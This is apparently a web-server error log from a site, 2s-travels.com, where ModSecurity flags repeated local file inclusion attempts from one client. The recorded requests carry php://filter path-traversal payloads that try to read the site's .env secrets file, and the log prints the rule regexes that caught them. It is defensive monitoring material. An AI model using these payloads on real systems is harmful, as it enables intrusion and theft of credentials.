[Fri Jul 17 08:55:10.991296 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=U5PBujGRH6s_wwuWaJhv8IRMvAvtCxCd0LXAC83YIojM114Y1DviotQxQyVoeJwggnBBMGnS3GF8AI68qJAYf6o1e_RC4qxpA_VcAehv4aezhUcBuaS6tifnxVW1C8aq1MZQ6Tqgknlq-IPsAYJAtOeEgFjIIP95F5VU2Cn2YL7wdPWsT9g7sHeTE2VxNugl65ZlSI-dspwB-HJKyEmGysH-YjDL11ej8XAtWOLZz0isDt4BJNRBr3oz81DtT2T5GYklQlu-mEQD28urOQbK31bU&junk=2NUQNTZVAZN44KMQQREQNMFJZCLQEVLGRDMF2PDZFEV7JDYF75QOASWJLRNR5CYUCC62P54EVCET4TK5BJWKNCLL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991326 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=u5pbujgrh6s_wwuwajhv8irmvavtcxcd0lxac83yiojm114y1dviotqxqyvoejwggnbbmgns3gf8ai68qjayf6o1e_rc4qxpa_vcaehv4aezhucbuas6tifnxvw1c8aq1mzq6tqgknlq-ipsayjatoeegfjiip95f5vu2cn2yl7wdpwst9g7shete2vxnugl65zlsi-dspwb-hjkyemgysh-yjdl11ej8xatwolzz0isdt4bjnrbr3oz81dtt2t5gyklqlu-meqd28uroqbk31bu&junk=2nuqntzvazn44kmqqreqnmfjzclqevlgrdmf2pdzfev7jdyf75qoaswjlrnr5cyucc62p54evcet4tk5bjwkncll..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991360 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991387 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991596 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.991745 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.991843 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.992192 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-KAAAABw"]
[Fri Jul 17 08:55:10.992290 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.992398 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MKQAAAAc"]
[Fri Jul 17 08:55:10.992542 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloZvbo7N5o5zeYC-KAAAABw"]
[Fri Jul 17 08:55:10.992713 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.992821 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.993674 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSZgAAAB4"]
[Fri Jul 17 08:55:10.999145 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=4TRJXdOudlzYKtXDbDI4G5KeREqbYfyjEgKhAwF-MwHKMA9STioQFsS50rE9WruFAb3F-7LTJcy0AIV7olfi8IigBeuZKOwgI2Hp93fIDkoJewjDN1yjKj_mVwwsmkKyQJmugIBFrrV62H_pm1E41O02poU9x9ijTaxNTJG5IkxCBCuhQ0UXu0puA8ACSyoOk3DibgX0vFEk6PCnXCFakaspAAXXIp9bNx_V7LCE8LbrsdWrLfxGZMJW-smqAtnlAAO9EpZ_BwjfapC3nJNqjyox&ts=372RSNYZWAVB2C5M3HL4PL23T22ZR4NODNIJVQFQWUN33GK2QRZOMAPUEXQU66O6B5PE5UKMXSEAM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999190 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999256 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.base64-encode/resource=../../.env&anything=4TRJXdOudlzYKtXDbDI4G5KeREqbYfyjEgKhAwF-MwHKMA9STioQFsS50rE9WruFAb3F-7LTJcy0AIV7olfi8IigBeuZKOwgI2Hp93fIDkoJewjDN1yjKj_mVwwsmkKyQJmugIBFrrV62H_pm1E41O02poU9x9ijTaxNTJG5IkxCBCuhQ0UXu0puA8ACSyoOk3DibgX0vFEk6PCnXCFakaspAAXXIp9bNx_V7LCE8LbrsdWrLfxGZMJW-smqAtnlAAO9EpZ_BwjfapC3nJNqjyox&ts=372RSNYZWAVB2C5M3HL4PL23T22ZR4NODNIJVQFQWUN33GK2QRZOMAPUEXQU66O6B5PE5UKMXSEAM2VKHQLE66SQFFICE72OTXTWL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999289 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.base64-encode/resource=../../.env&anything=4trjxdoudlzyktxdbdi4g5kereqbyfyjegkhawf-mwhkma9stioqfss50re9wrufab3f-7ltjcy0aiv7olfi8iigbeuzkowgi2hp93fidkojewjdn1yjkj_mvwwsmkkyqjmugibfrrv62h_pm1e41o02pou9x9ijtaxntjg5ikxcbcuhq0uxu0pua8acsyook3dibgx0vfek6pcnxcfakaspaaxxip9bnx_v7lce8lbrsdwrlfxgzmjw-smqatnlaao9epz_bwjfapc3njnqjyox&ts=372rsnyzwavb2c5m3hl4pl23t22zr4nodnijvqfqwun33gk2qrzomapuexqu66o6b5pe5ukmxseam2vkhqle66sqffice72otxtwl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999314 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999340 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:10.999733 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=SAnAFtdhcigzgriy0itAmqvcWlsAGQfJR9RmjnVxRgDDVUFaQdvgXUyLP0hLH__4r0VVzGdVZceRJzN_zxZ10C_WOcX_g0T3bm49WLbS8x5yyI3v92IHPdXrJ0tpPtjEbWq7TxmmdILMkUAEao5iqfveNisTfWKLix8S51CCAd6oosWwKxoJaHJ2u_2v0-uKyNFq8xKZkfsqhdnqucoQQgJ0DuvBAQM9KfXeyU_3DIpnGhyYgMK8s_8mUQWX2ugE-iyVH5HmNEE3hH_n40eTEzd0&token=HDYKN5LDTR2WXVOJJDX33GIS4YJKFMQCITIHTPJLGF6H5JPLTSTPK26B6HQHKLADF4SQF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:10.999769 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:10.999814 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.base64-encode/resource=../../../.env&anything=SAnAFtdhcigzgriy0itAmqvcWlsAGQfJR9RmjnVxRgDDVUFaQdvgXUyLP0hLH__4r0VVzGdVZceRJzN_zxZ10C_WOcX_g0T3bm49WLbS8x5yyI3v92IHPdXrJ0tpPtjEbWq7TxmmdILMkUAEao5iqfveNisTfWKLix8S51CCAd6oosWwKxoJaHJ2u_2v0-uKyNFq8xKZkfsqhdnqucoQQgJ0DuvBAQM9KfXeyU_3DIpnGhyYgMK8s_8mUQWX2ugE-iyVH5HmNEE3hH_n40eTEzd0&token=HDYKN5LDTR2WXVOJJDX33GIS4YJKFMQCITIHTPJLGF6H5JPLTSTPK26B6HQHKLADF4SQFRERKHEPA5OHMHBS4E7NMTPTJ33..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:10.999839 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.base64-encode/resource=../../../.env&anything=sanaftdhcigzgriy0itamqvcwlsagqfjr9rmjnvxrgddvufaqdvgxuylp0hlh__4r0vvzgdvzcerjzn_zxz10c_wocx_g0t3bm49wlbs8x5yyi3v92ihpdxrj0tpptjebwq7txmmdilmkuaeao5iqfvenistfwklix8s51ccad6ooswwkxojahj2u_2v0-ukynfq8xkzkfsqhdnqucoqqgj0duvbaqm9kfxeyu_3dipnghyygmk8s_8muqwx2uge-iyvh5hmnee3hh_n40etezd0&token=hdykn5ldtr2wxvojjdx33gis4yjkfmqcitihtpjlgf6h5jpltstpk26b6hqhkladf4sqfrerkhepa5ohmhbs4e7nmtptj33..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:10.999867 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:10.999885 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:11.000208 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:11.001207 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:11.001322 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
